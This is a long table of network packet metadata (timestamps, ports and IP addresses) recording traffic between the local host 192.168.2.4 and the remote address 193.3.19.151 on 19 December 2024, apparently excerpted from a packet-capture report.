Dec 19, 2024 08:12:00.091243029 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.091356039 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091366053 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091370106 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091417074 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.091461897 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091470003 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091512918 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.091540098 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091548920 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091581106 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.091702938 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091711998 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091744900 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.091861963 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091871023 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091912985 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.091990948 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092103958 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092113018 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092149973 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.092175961 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092330933 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092369080 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.092478991 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092488050 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092497110 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092523098 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.092536926 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.092660904 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092700958 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.092749119 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092757940 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092793941 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.092809916 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.092878103 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092886925 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.092922926 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.093018055 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093059063 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.093133926 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093142986 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093182087 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093183041 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.093226910 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.093346119 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093354940 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093384981 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093403101 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.093420029 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.093539953 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093548059 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093585968 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.093738079 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093750000 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093782902 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.093848944 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093889952 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.093949080 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093957901 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.093998909 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.094084024 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094100952 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094110966 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094153881 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.094173908 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094182968 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094223022 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.094350100 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094360113 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094405890 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.094461918 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094470978 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094510078 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.094609976 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094619036 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094657898 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.094803095 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094814062 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094850063 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.094858885 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094867945 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.094907045 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.095043898 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095052958 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095096111 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.095128059 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095136881 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095180035 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.095215082 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095222950 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095254898 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.095268011 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.095352888 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095360994 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095401049 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.095504999 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095514059 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095550060 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.095622063 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095632076 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095648050 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095665932 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.095693111 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.095695019 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095871925 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095881939 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095884085 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.095913887 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.095968008 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.095977068 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096010923 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.096066952 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096076012 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096111059 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.096262932 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096271992 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096295118 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096303940 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096302986 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.096339941 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.096422911 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096432924 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096453905 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.096472025 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.096539974 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096582890 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096630096 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.096724033 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096735954 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096771955 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.096837997 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096848011 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096884012 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.096945047 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096954107 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.096992970 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.097006083 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.097045898 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.097143888 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.097153902 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.097162962 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.097173929 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.097203970 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.097203970 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.097255945 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.097280025 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.097389936 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.097440004 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.097803116 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.097837925 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.097846031 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.097851038 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.097898006 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.097978115 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.097986937 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098026037 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.098146915 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098156929 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098192930 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.098243952 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098253012 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098287106 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.098398924 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098408937 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098448992 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.098548889 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098557949 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098597050 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.098706007 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098752975 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098756075 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.098881960 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098882914 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.098900080 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.098942995 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.099004030 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.099046946 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.099111080 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.099157095 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.099208117 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.099257946 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.099421978 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.099468946 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.099555969 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.099607944 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.099673986 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.099719048 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.099778891 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.099925995 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.100054979 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.100101948 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.100105047 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.100249052 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.100255966 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.100296974 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.100332022 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.100379944 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.100498915 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.100617886 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.100644112 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.100688934 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.100784063 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.100840092 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.100888014 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.100946903 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.100975990 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.101021051 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.101078987 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.101192951 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.101227045 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.101337910 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.101361990 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.101387978 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.101480961 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.101558924 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.101608992 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.101645947 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.101687908 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.101735115 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.101783037 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.101885080 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.101902962 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.101924896 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.102015972 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.102072954 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.102080107 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.102154970 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.102241993 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.102255106 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.102300882 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.102336884 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.102382898 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.102463007 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.102513075 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.102546930 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.102591991 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.102711916 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.102722883 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.102767944 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.102842093 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.102890968 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.102974892 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.103023052 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.103024006 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.103224993 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.103234053 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.103275061 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.103281021 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.103322029 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.103449106 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.103507996 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.103552103 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.103562117 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.103595018 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.103616953 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.103781939 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.103841066 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.103909969 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.103955984 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.104244947 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.104291916 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.104449034 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.104501009 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.104652882 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.104662895 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.104715109 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.104734898 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.104784966 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.104830027 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.104839087 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.104890108 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.105034113 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.105200052 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.105206966 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.105271101 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.105300903 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.105319977 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.105340004 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.105570078 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.105623007 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.105664968 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.105695009 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.105726957 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.105741024 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.105808973 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.105854034 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.105993986 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.106003046 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.106057882 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.106137991 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.106179953 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.106384039 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.106493950 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.106543064 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.106547117 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.106585979 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.106643915 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.106668949 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.106709957 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.106759071 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.106801987 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.106863022 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.106919050 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.106959105 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.107001066 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.107063055 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.107120991 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.107160091 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.107202053 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.107328892 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.107388973 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.107534885 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.107582092 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.108041048 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.108093023 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.108166933 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.108176947 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.108228922 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.108247995 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.108319998 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.108371973 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.108683109 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.108738899 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.108855009 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.108865023 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.108912945 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.109158039 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.109179974 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.109189034 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.109236956 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.109312057 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.109364033 CET	49740	15666	192.168.2.4	193.3.19.151
